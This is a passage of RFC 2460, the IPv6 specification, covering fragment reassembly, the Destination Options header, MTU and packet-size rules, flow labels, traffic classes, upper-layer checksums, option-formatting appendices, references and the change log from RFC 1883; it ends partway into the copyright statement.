               An M flag value of 0 if the fragment is the last
               ("rightmost") one, else an M flag value of 1.

               The Identification value generated for the original
               packet.

      (3) The fragment itself.

   The lengths of the fragments must be chosen such that the resulting
   fragment packets fit within the MTU of the path to the packets'
   destination(s).

Deering & Hinden            Standards Track                    [Page 20]

RFC 2460                   IPv6 Specification              December 1998

   At the destination, fragment packets are reassembled into their
   original, unfragmented form, as illustrated:

   reassembled original packet:

   +------------------+----------------------//------------------------+
   |  Unfragmentable  |                 Fragmentable                   |
   |       Part       |                     Part                       |
   +------------------+----------------------//------------------------+

   The following rules govern reassembly:

      An original packet is reassembled only from fragment packets that
      have the same Source Address, Destination Address, and Fragment
      Identification.

      The Unfragmentable Part of the reassembled packet consists of all
      headers up to, but not including, the Fragment header of the first
      fragment packet (that is, the packet whose Fragment Offset is
      zero), with the following two changes:

         The Next Header field of the last header of the Unfragmentable
         Part is obtained from the Next Header field of the first
         fragment's Fragment header.

         The Payload Length of the reassembled packet is computed from
         the length of the Unfragmentable Part and the length and offset
         of the last fragment.  For example, a formula for computing the
         Payload Length of the reassembled original packet is:

           PL.orig = PL.first - FL.first - 8 + (8 * FO.last) + FL.last

           where
           PL.orig  = Payload Length field of reassembled packet.
           PL.first = Payload Length field of first fragment packet.
           FL.first = length of fragment following Fragment header of
                      first fragment packet.
           FO.last  = Fragment Offset field of Fragment header of
                      last fragment packet.
           FL.last  = length of fragment following Fragment header of
                      last fragment packet.

      The Fragmentable Part of the reassembled packet is constructed
      from the fragments following the Fragment headers in each of the
      fragment packets.  The length of each fragment is computed by
      subtracting from the packet's Payload Length the length of the

Deering & Hinden            Standards Track                    [Page 21]

RFC 2460                   IPv6 Specification              December 1998

      headers between the IPv6 header and fragment itself; its relative
      position in Fragmentable Part is computed from its Fragment Offset
      value.

      The Fragment header is not present in the final, reassembled
      packet.

   The following error conditions may arise when reassembling fragmented
   packets:

      If insufficient fragments are received to complete reassembly of a
      packet within 60 seconds of the reception of the first-arriving
      fragment of that packet, reassembly of that packet must be
      abandoned and all the fragments that have been received for that
      packet must be discarded.  If the first fragment (i.e., the one
      with a Fragment Offset of zero) has been received, an ICMP Time
      Exceeded -- Fragment Reassembly Time Exceeded message should be
      sent to the source of that fragment.

      If the length of a fragment, as derived from the fragment packet's
      Payload Length field, is not a multiple of 8 octets and the M flag
      of that fragment is 1, then that fragment must be discarded and an
      ICMP Parameter Problem, Code 0, message should be sent to the
      source of the fragment, pointing to the Payload Length field of
      the fragment packet.

      If the length and offset of a fragment are such that the Payload
      Length of the packet reassembled from that fragment would exceed
      65,535 octets, then that fragment must be discarded and an ICMP
      Parameter Problem, Code 0, message should be sent to the source of
      the fragment, pointing to the Fragment Offset field of the
      fragment packet.

   The following conditions are not expected to occur, but are not
   considered errors if they do:

      The number and content of the headers preceding the Fragment
      header of different fragments of the same original packet may
      differ.  Whatever headers are present, preceding the Fragment
      header in each fragment packet, are processed when the packets
      arrive, prior to queueing the fragments for reassembly.  Only
      those headers in the Offset zero fragment packet are retained in
      the reassembled packet.

      The Next Header values in the Fragment headers of different
      fragments of the same original packet may differ.  Only the value
      from the Offset zero fragment packet is used for reassembly.

Deering & Hinden            Standards Track                    [Page 22]

RFC 2460                   IPv6 Specification              December 1998

4.6  Destination Options Header

   The Destination Options header is used to carry optional information
   that need be examined only by a packet's destination node(s).  The
   Destination Options header is identified by a Next Header value of 60
   in the immediately preceding header, and has the following format:

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  |                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
    |                                                               |
    .                                                               .
    .                            Options                            .
    .                                                               .
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Next Header          8-bit selector.  Identifies the type of header
                        immediately following the Destination Options
                        header.  Uses the same values as the IPv4
                        Protocol field [RFC-1700 et seq.].

   Hdr Ext Len          8-bit unsigned integer.  Length of the
                        Destination Options header in 8-octet units, not
                        including the first 8 octets.

   Options              Variable-length field, of length such that the
                        complete Destination Options header is an
                        integer multiple of 8 octets long.  Contains one
                        or  more TLV-encoded options, as described in
                        section 4.2.

   The only destination options defined in this document are the Pad1
   and PadN options specified in section 4.2.

   Note that there are two possible ways to encode optional destination
   information in an IPv6 packet: either as an option in the Destination
   Options header, or as a separate extension header.  The Fragment
   header and the Authentication header are examples of the latter
   approach.  Which approach can be used depends on what action is
   desired of a destination node that does not understand the optional
   information:

      o  If the desired action is for the destination node to discard
         the packet and, only if the packet's Destination Address is not
         a multicast address, send an ICMP Unrecognized Type message to
         the packet's Source Address, then the information may be
         encoded either as a separate header or as an option in the

Deering & Hinden            Standards Track                    [Page 23]

RFC 2460                   IPv6 Specification              December 1998

         Destination Options header whose Option Type has the value 11
         in its highest-order two bits.  The choice may depend on such
         factors as which takes fewer octets, or which yields better
         alignment or more efficient parsing.

      o  If any other action is desired, the information must be encoded
         as an option in the Destination Options header whose Option
         Type has the value 00, 01, or 10 in its highest-order two bits,
         specifying the desired action (see section 4.2).

4.7 No Next Header

   The value 59 in the Next Header field of an IPv6 header or any
   extension header indicates that there is nothing following that
   header.  If the Payload Length field of the IPv6 header indicates the
   presence of octets past the end of a header whose Next Header field
   contains 59, those octets must be ignored, and passed on unchanged if
   the packet is forwarded.

5. Packet Size Issues

   IPv6 requires that every link in the internet have an MTU of 1280
   octets or greater.  On any link that cannot convey a 1280-octet
   packet in one piece, link-specific fragmentation and reassembly must
   be provided at a layer below IPv6.

   Links that have a configurable MTU (for example, PPP links [RFC-
   1661]) must be configured to have an MTU of at least 1280 octets; it
   is recommended that they be configured with an MTU of 1500 octets or
   greater, to accommodate possible encapsulations (i.e., tunneling)
   without incurring IPv6-layer fragmentation.

   From each link to which a node is directly attached, the node must be
   able to accept packets as large as that link's MTU.

   It is strongly recommended that IPv6 nodes implement Path MTU
   Discovery [RFC-1981], in order to discover and take advantage of path
   MTUs greater than 1280 octets.  However, a minimal IPv6
   implementation (e.g., in a boot ROM) may simply restrict itself to
   sending packets no larger than 1280 octets, and omit implementation
   of Path MTU Discovery.

   In order to send a packet larger than a path's MTU, a node may use
   the IPv6 Fragment header to fragment the packet at the source and
   have it reassembled at the destination(s).  However, the use of such
   fragmentation is discouraged in any application that is able to
   adjust its packets to fit the measured path MTU (i.e., down to 1280
   octets).

Deering & Hinden            Standards Track                    [Page 24]

RFC 2460                   IPv6 Specification              December 1998

   A node must be able to accept a fragmented packet that, after
   reassembly, is as large as 1500 octets.  A node is permitted to
   accept fragmented packets that reassemble to more than 1500 octets.
   An upper-layer protocol or application that depends on IPv6
   fragmentation to send packets larger than the MTU of a path should
   not send packets larger than 1500 octets unless it has assurance that
   the destination is capable of reassembling packets of that larger
   size.

   In response to an IPv6 packet that is sent to an IPv4 destination
   (i.e., a packet that undergoes translation from IPv6 to IPv4), the
   originating IPv6 node may receive an ICMP Packet Too Big message
   reporting a Next-Hop MTU less than 1280.  In that case, the IPv6 node
   is not required to reduce the size of subsequent packets to less than
   1280, but must include a Fragment header in those packets so that the
   IPv6-to-IPv4 translating router can obtain a suitable Identification
   value to use in resulting IPv4 fragments.  Note that this means the
   payload may have to be reduced to 1232 octets (1280 minus 40 for the
   IPv6 header and 8 for the Fragment header), and smaller still if
   additional extension headers are used.

6.  Flow Labels

   The 20-bit Flow Label field in the IPv6 header may be used by a
   source to label sequences of packets for which it requests special
   handling by the IPv6 routers, such as non-default quality of service
   or "real-time" service.  This aspect of IPv6 is, at the time of
   writing, still experimental and subject to change as the requirements
   for flow support in the Internet become clearer.  Hosts or routers
   that do not support the functions of the Flow Label field are
   required to set the field to zero when originating a packet, pass the
   field on unchanged when forwarding a packet, and ignore the field
   when receiving a packet.

   Appendix A describes the current intended semantics and usage of the
   Flow Label field.

7.  Traffic Classes

   The 8-bit Traffic Class field in the IPv6 header is available for use
   by originating nodes and/or forwarding routers to identify and
   distinguish between different classes or priorities of IPv6 packets.
   At the point in time at which this specification is being written,
   there are a number of experiments underway in the use of the IPv4
   Type of Service and/or Precedence bits to provide various forms of
   "differentiated service" for IP packets, other than through the use
   of explicit flow set-up.  The Traffic Class field in the IPv6 header
   is intended to allow similar functionality to be supported in IPv6.

Deering & Hinden            Standards Track                    [Page 25]

RFC 2460                   IPv6 Specification              December 1998

   It is hoped that those experiments will eventually lead to agreement
   on what sorts of traffic classifications are most useful for IP
   packets.  Detailed definitions of the syntax and semantics of all or
   some of the IPv6 Traffic Class bits, whether experimental or intended
   for eventual standardization, are to be provided in separate
   documents.

   The following general requirements apply to the Traffic Class field:

      o  The service interface to the IPv6 service within a node must
         provide a means for an upper-layer protocol to supply the value
         of the Traffic Class bits in packets originated by that upper-
         layer protocol.  The default value must be zero for all 8 bits.

      o  Nodes that support a specific (experimental or eventual
         standard) use of some or all of the Traffic Class bits are
         permitted to change the value of those bits in packets that
         they originate, forward, or receive, as required for that
         specific use.  Nodes should ignore and leave unchanged any bits
         of the Traffic Class field for which they do not support a
         specific use.

      o  An upper-layer protocol must not assume that the value of the
         Traffic Class bits in a received packet are the same as the
         value sent by the packet's source.

Deering & Hinden            Standards Track                    [Page 26]

RFC 2460                   IPv6 Specification              December 1998

8. Upper-Layer Protocol Issues

8.1 Upper-Layer Checksums

   Any transport or other upper-layer protocol that includes the
   addresses from the IP header in its checksum computation must be
   modified for use over IPv6, to include the 128-bit IPv6 addresses
   instead of 32-bit IPv4 addresses.  In particular, the following
   illustration shows the TCP and UDP "pseudo-header" for IPv6:

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                         Source Address                        +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                      Destination Address                      +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                   Upper-Layer Packet Length                   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                      zero                     |  Next Header  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

      o  If the IPv6 packet contains a Routing header, the Destination
         Address used in the pseudo-header is that of the final
         destination.  At the originating node, that address will be in
         the last element of the Routing header; at the recipient(s),
         that address will be in the Destination Address field of the
         IPv6 header.

      o  The Next Header value in the pseudo-header identifies the
         upper-layer protocol (e.g., 6 for TCP, or 17 for UDP).  It will
         differ from the Next Header value in the IPv6 header if there
         are extension headers between the IPv6 header and the upper-
         layer header.

      o  The Upper-Layer Packet Length in the pseudo-header is the
         length of the upper-layer header and data (e.g., TCP header
         plus TCP data).  Some upper-layer protocols carry their own

Deering & Hinden            Standards Track                    [Page 27]

RFC 2460                   IPv6 Specification              December 1998

         length information (e.g., the Length field in the UDP header);
         for such protocols, that is the length used in the pseudo-
         header.  Other protocols (such as TCP) do not carry their own
         length information, in which case the length used in the
         pseudo-header is the Payload Length from the IPv6 header, minus
         the length of any extension headers present between the IPv6
         header and the upper-layer header.

      o  Unlike IPv4, when UDP packets are originated by an IPv6 node,
         the UDP checksum is not optional.  That is, whenever
         originating a UDP packet, an IPv6 node must compute a UDP
         checksum over the packet and the pseudo-header, and, if that
         computation yields a result of zero, it must be changed to hex
         FFFF for placement in the UDP header.  IPv6 receivers must
         discard UDP packets containing a zero checksum, and should log
         the error.

   The IPv6 version of ICMP [ICMPv6] includes the above pseudo-header in
   its checksum computation; this is a change from the IPv4 version of
   ICMP, which does not include a pseudo-header in its checksum.  The
   reason for the change is to protect ICMP from misdelivery or
   corruption of those fields of the IPv6 header on which it depends,
   which, unlike IPv4, are not covered by an internet-layer checksum.
   The Next Header field in the pseudo-header for ICMP contains the
   value 58, which identifies the IPv6 version of ICMP.

8.2 Maximum Packet Lifetime

   Unlike IPv4, IPv6 nodes are not required to enforce maximum packet
   lifetime.  That is the reason the IPv4 "Time to Live" field was
   renamed "Hop Limit" in IPv6.  In practice, very few, if any, IPv4
   implementations conform to the requirement that they limit packet
   lifetime, so this is not a change in practice.  Any upper-layer
   protocol that relies on the internet layer (whether IPv4 or IPv6) to
   limit packet lifetime ought to be upgraded to provide its own
   mechanisms for detecting and discarding obsolete packets.

8.3 Maximum Upper-Layer Payload Size

   When computing the maximum payload size available for upper-layer
   data, an upper-layer protocol must take into account the larger size
   of the IPv6 header relative to the IPv4 header.  For example, in
   IPv4, TCP's MSS option is computed as the maximum packet size (a
   default value or a value learned through Path MTU Discovery) minus 40
   octets (20 octets for the minimum-length IPv4 header and 20 octets
   for the minimum-length TCP header).  When using TCP over IPv6, the
   MSS must be computed as the maximum packet size minus 60 octets,

Deering & Hinden            Standards Track                    [Page 28]

RFC 2460                   IPv6 Specification              December 1998

   because the minimum-length IPv6 header (i.e., an IPv6 header with no
   extension headers) is 20 octets longer than a minimum-length IPv4
   header.

8.4 Responding to Packets Carrying Routing Headers

   When an upper-layer protocol sends one or more packets in response to
   a received packet that included a Routing header, the response
   packet(s) must not include a Routing header that was automatically
   derived by "reversing" the received Routing header UNLESS the
   integrity and authenticity of the received Source Address and Routing
   header have been verified (e.g., via the use of an Authentication
   header in the received packet).  In other words, only the following
   kinds of packets are permitted in response to a received packet
   bearing a Routing header:

      o  Response packets that do not carry Routing headers.

      o  Response packets that carry Routing headers that were NOT
         derived by reversing the Routing header of the received packet
         (for example, a Routing header supplied by local
         configuration).

      o  Response packets that carry Routing headers that were derived
         by reversing the Routing header of the received packet IF AND
         ONLY IF the integrity and authenticity of the Source Address
         and Routing header from the received packet have been verified
         by the responder.

Deering & Hinden            Standards Track                    [Page 29]

RFC 2460                   IPv6 Specification              December 1998

Appendix A. Semantics and Usage of the Flow Label Field

   A flow is a sequence of packets sent from a particular source to a
   particular (unicast or multicast) destination for which the source
   desires special handling by the intervening routers.  The nature of
   that special handling might be conveyed to the routers by a control
   protocol, such as a resource reservation protocol, or by information
   within the flow's packets themselves, e.g., in a hop-by-hop option.
   The details of such control protocols or options are beyond the scope
   of this document.

   There may be multiple active flows from a source to a destination, as
   well as traffic that is not associated with any flow.  A flow is
   uniquely identified by the combination of a source address and a
   non-zero flow label.  Packets that do not belong to a flow carry a
   flow label of zero.

   A flow label is assigned to a flow by the flow's source node.  New
   flow labels must be chosen (pseudo-)randomly and uniformly from the
   range 1 to FFFFF hex.  The purpose of the random allocation is to
   make any set of bits within the Flow Label field suitable for use as
   a hash key by routers, for looking up the state associated with the
   flow.

   All packets belonging to the same flow must be sent with the same
   source address, destination address, and flow label.  If any of those
   packets includes a Hop-by-Hop Options header, then they all must be
   originated with the same Hop-by-Hop Options header contents
   (excluding the Next Header field of the Hop-by-Hop Options header).
   If any of those packets includes a Routing header, then they all must
   be originated with the same contents in all extension headers up to
   and including the Routing header (excluding the Next Header field in
   the Routing header).  The routers or destinations are permitted, but
   not required, to verify that these conditions are satisfied.  If a
   violation is detected, it should be reported to the source by an ICMP
   Parameter Problem message, Code 0, pointing to the high-order octet
   of the Flow Label field (i.e., offset 1 within the IPv6 packet).

   The maximum lifetime of any flow-handling state established along a
   flow's path must be specified as part of the description of the
   state-establishment mechanism, e.g., the resource reservation
   protocol or the flow-setup hop-by-hop option.  A source must not re-
   use a flow label for a new flow within the maximum lifetime of any
   flow-handling state that might have been established for the prior
   use of that flow label.

Deering & Hinden            Standards Track                    [Page 30]

RFC 2460                   IPv6 Specification              December 1998

   When a node stops and restarts (e.g., as a result of a "crash"), it
   must be careful not to use a flow label that it might have used for
   an earlier flow whose lifetime may not have expired yet.  This may be
   accomplished by recording flow label usage on stable storage so that
   it can be remembered across crashes, or by refraining from using any
   flow labels until the maximum lifetime of any possible previously
   established flows has expired.  If the minimum time for rebooting the
   node is known, that time can be deducted from the necessary waiting
   period before starting to allocate flow labels.

   There is no requirement that all, or even most, packets belong to
   flows, i.e., carry non-zero flow labels.  This observation is placed
   here to remind protocol designers and implementors not to assume
   otherwise.  For example, it would be unwise to design a router whose
   performance would be adequate only if most packets belonged to flows,
   or to design a header compression scheme that only worked on packets
   that belonged to flows.

Deering & Hinden            Standards Track                    [Page 31]

RFC 2460                   IPv6 Specification              December 1998

Appendix B. Formatting Guidelines for Options

   This appendix gives some advice on how to lay out the fields when
   designing new options to be used in the Hop-by-Hop Options header or
   the Destination Options header, as described in section 4.2.  These
   guidelines are based on the following assumptions:

      o  One desirable feature is that any multi-octet fields within the
         Option Data area of an option be aligned on their natural
         boundaries, i.e., fields of width n octets should be placed at
         an integer multiple of n octets from the start of the Hop-by-
         Hop or Destination Options header, for n = 1, 2, 4, or 8.

      o  Another desirable feature is that the Hop-by-Hop or Destination
         Options header take up as little space as possible, subject to
         the requirement that the header be an integer multiple of 8
         octets long.

      o  It may be assumed that, when either of the option-bearing
         headers are present, they carry a very small number of options,
         usually only one.

   These assumptions suggest the following approach to laying out the
   fields of an option: order the fields from smallest to largest, with
   no interior padding, then derive the alignment requirement for the
   entire option based on the alignment requirement of the largest field
   (up to a maximum alignment of 8 octets).  This approach is
   illustrated in the following examples:

   Example 1

   If an option X required two data fields, one of length 8 octets and
   one of length 4 octets, it would be laid out as follows:

                                   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                                   | Option Type=X |Opt Data Len=12|
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                         8-octet field                         +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Deering & Hinden            Standards Track                    [Page 32]

RFC 2460                   IPv6 Specification              December 1998

   Its alignment requirement is 8n+2, to ensure that the 8-octet field
   starts at a multiple-of-8 offset from the start of the enclosing
   header.  A complete Hop-by-Hop or Destination Options header
   containing this one option would look as follows:

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Next Header  | Hdr Ext Len=1 | Option Type=X |Opt Data Len=12|
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                         8-octet field                         +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Example 2

   If an option Y required three data fields, one of length 4 octets,
   one of length 2 octets, and one of length 1 octet, it would be laid
   out as follows:

                                                   +-+-+-+-+-+-+-+-+
                                                   | Option Type=Y |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Opt Data Len=7 | 1-octet field |         2-octet field         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Its alignment requirement is 4n+3, to ensure that the 4-octet field
   starts at a multiple-of-4 offset from the start of the enclosing
   header.  A complete Hop-by-Hop or Destination Options header
   containing this one option would look as follows:

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Next Header  | Hdr Ext Len=1 | Pad1 Option=0 | Option Type=Y |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Opt Data Len=7 | 1-octet field |         2-octet field         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | PadN Option=1 |Opt Data Len=2 |       0       |       0       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Deering & Hinden            Standards Track                    [Page 33]

RFC 2460                   IPv6 Specification              December 1998

   Example 3

   A Hop-by-Hop or Destination Options header containing both options X
   and Y from Examples 1 and 2 would have one of the two following
   formats, depending on which option appeared first:

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Next Header  | Hdr Ext Len=3 | Option Type=X |Opt Data Len=12|
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                         8-octet field                         +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | PadN Option=1 |Opt Data Len=1 |       0       | Option Type=Y |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Opt Data Len=7 | 1-octet field |         2-octet field         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | PadN Option=1 |Opt Data Len=2 |       0       |       0       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Next Header  | Hdr Ext Len=3 | Pad1 Option=0 | Option Type=Y |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Opt Data Len=7 | 1-octet field |         2-octet field         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | PadN Option=1 |Opt Data Len=4 |       0       |       0       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |       0       |       0       | Option Type=X |Opt Data Len=12|
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         4-octet field                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                         8-octet field                         +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Deering & Hinden            Standards Track                    [Page 34]

RFC 2460                   IPv6 Specification              December 1998

Security Considerations

   The security features of IPv6 are described in the Security
   Architecture for the Internet Protocol [RFC-2401].

Acknowledgments

   The authors gratefully acknowledge the many helpful suggestions of
   the members of the IPng working group, the End-to-End Protocols
   research group, and the Internet Community At Large.

Authors' Addresses

   Stephen E. Deering
   Cisco Systems, Inc.
   170 West Tasman Drive
   San Jose, CA 95134-1706
   USA

   Phone: +1 408 527 8213
   Fax:   +1 408 527 8254
   EMail: deering@cisco.com

   Robert M. Hinden
   Nokia
   232 Java Drive
   Sunnyvale, CA 94089
   USA

   Phone: +1 408 990-2004
   Fax:   +1 408 743-5677
   EMail: hinden@iprg.nokia.com

References

   [RFC-2401]   Kent, S. and R. Atkinson, "Security Architecture for the
                Internet Protocol", RFC 2401, November 1998.

   [RFC-2402]   Kent, S. and R. Atkinson, "IP Authentication Header",
                RFC 2402, November 1998.

   [RFC-2406]   Kent, S. and R. Atkinson, "IP Encapsulating Security
                Protocol (ESP)", RFC 2406, November 1998.

   [ICMPv6]     Conta, A. and S. Deering, "ICMP for the Internet
                Protocol Version 6 (IPv6)", RFC 2463, December 1998.

Deering & Hinden            Standards Track                    [Page 35]

RFC 2460                   IPv6 Specification              December 1998

   [ADDRARCH]   Hinden, R. and S. Deering, "IP Version 6 Addressing
                Architecture", RFC 2373, July 1998.

   [RFC-1981]   McCann, J., Mogul, J. and S. Deering, "Path MTU
                Discovery for IP version 6", RFC 1981, August 1996.

   [RFC-791]    Postel, J., "Internet Protocol", STD 5, RFC 791,
                September 1981.

   [RFC-1700]   Reynolds, J. and J. Postel, "Assigned Numbers", STD 2,
                RFC 1700, October 1994.  See also:
                http://www.iana.org/numbers.html

   [RFC-1661]   Simpson, W., "The Point-to-Point Protocol (PPP)", STD
                51, RFC 1661, July 1994.

CHANGES SINCE RFC-1883

   This memo has the following changes from RFC-1883.  Numbers identify
   the Internet-Draft version in which the change was made.

    02) Removed all references to jumbograms and the Jumbo Payload
        option (moved to a separate document).

    02) Moved most of Flow Label description from section 6 to (new)
        Appendix A.

    02) In Flow Label description, now in Appendix A, corrected maximum
        Flow Label value from FFFFFF to FFFFF (i.e., one less "F") due
        to reduction of size of Flow Label field from 24 bits to 20
        bits.

    02) Renumbered (relettered?) the previous Appendix A to be Appendix
        B.

    02) Changed the wording of the Security Considerations section to
        avoid dependency loop between this spec and the IPsec specs.

    02) Updated R. Hinden's email address and company affiliation.

        --------------------------------------------------------

    01) In section 3, changed field name "Class" to "Traffic Class" and
        increased its size from 4 to 8 bits.  Decreased size of Flow
        Label field from 24 to 20 bits to compensate for increase in
        Traffic Class field.

Deering & Hinden            Standards Track                    [Page 36]

RFC 2460                   IPv6 Specification              December 1998

    01) In section 4.1, restored the order of the Authentication Header
        and the ESP header, which were mistakenly swapped in the 00
        version of this memo.

    01) In section 4.4, deleted the Strict/Loose Bit Map field and the
        strict routing functionality from the Type 0 Routing header, and
        removed the restriction on number of addresses that may be
        carried in the Type 0 Routing header (was limited to 23
        addresses, because of the size of the strict/loose bit map).

    01) In section 5, changed the minimum IPv6 MTU from 576 to 1280
        octets, and added a recommendation that links with configurable
        MTU (e.g., PPP links) be configured to have an MTU of at least
        1500 octets.

    01) In section 5, deleted the requirement that a node must not send
        fragmented packets that reassemble to more than 1500 octets
        without knowledge of the destination reassembly buffer size, and
        replaced it with a recommendation that upper-layer protocols or
        applications should not do that.

    01) Replaced reference to the IPv4 Path MTU Discovery spec (RFC-
        1191) with reference to the IPv6 Path MTU Discovery spec (RFC-
        1981), and deleted the Notes at the end of section 5 regarding
        Path MTU Discovery, since those details are now covered by RFC-
        1981.

    01) In section 6, deleted specification of "opportunistic" flow
        set-up, and removed all references to the 6-second maximum
        lifetime for opportunistically established flow state.

    01) In section 7, deleted the provisional description of the
        internal structure and semantics of the Traffic Class field, and
        specified that such descriptions be provided in separate
        documents.

        --------------------------------------------------------

    00) In section 4, corrected the Code value to indicate "unrecognized
        Next Header type encountered" in an ICMP Parameter Problem
        message (changed from 2 to 1).

    00) In the description of the Payload Length field in section 3, and
        of the Jumbo Payload Length field in section 4.3, made it
        clearer that extension headers are included in the payload
        length count.

Deering & Hinden            Standards Track                    [Page 37]

RFC 2460                   IPv6 Specification              December 1998

    00) In section 4.1, swapped the order of the Authentication header
        and the ESP header.  (NOTE: this was a mistake, and the change
        was undone in version 01.)

    00) In section 4.2, made it clearer that options are identified by
        the full 8-bit Option Type, not by the low-order 5 bits of an
        Option Type.  Also specified that the same Option Type numbering
        space is used for both Hop-by-Hop Options and Destination
        Options headers.

    00) In section 4.4, added a sentence requiring that nodes processing
        a Routing header must send an ICMP Packet Too Big message in
        response to a packet that is too big to fit in the next hop link
        (rather than, say, performing fragmentation).

    00) Changed the name of the IPv6 Priority field to "Class", and
        replaced the previous description of Priority in section 7 with
        a description of the Class field.  Also, excluded this field
        from the set of fields that must remain the same for all packets
        in the same flow, as specified in section 6.

    00) In the pseudo-header in section 8.1, changed the name of the
        "Payload Length" field to "Upper-Layer Packet Length".  Also
        clarified that, in the case of protocols that carry their own
        length info (like non-jumbogram UDP), it is the upper-layer-
        derived length, not the IP-layer-derived length, that is used in
        the pseudo-header.

    00) Added section 8.4, specifying that upper-layer protocols, when
        responding to a received packet that carried a Routing header,
        must not include the reverse of the Routing header in the
        response packet(s) unless the received Routing header was
        authenticated.

    00) Fixed some typos and grammatical errors.

    00) Authors' contact info updated.

        --------------------------------------------------------

Deering & Hinden            Standards Track                    [Page 38]

RFC 2460                   IPv6 Specification              December 1998

Full Copyright Statement

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

   This document and translations of it may be copied and furnished to
